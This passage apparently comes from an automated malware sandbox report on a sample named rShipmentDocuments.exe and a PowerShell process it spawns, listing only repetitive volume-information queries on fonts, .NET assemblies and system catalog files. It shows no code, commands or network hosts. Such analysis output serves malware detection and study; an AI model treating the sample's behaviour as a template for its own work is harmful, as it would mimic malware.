Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Users\user\Desktop\rShipmentDocuments.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
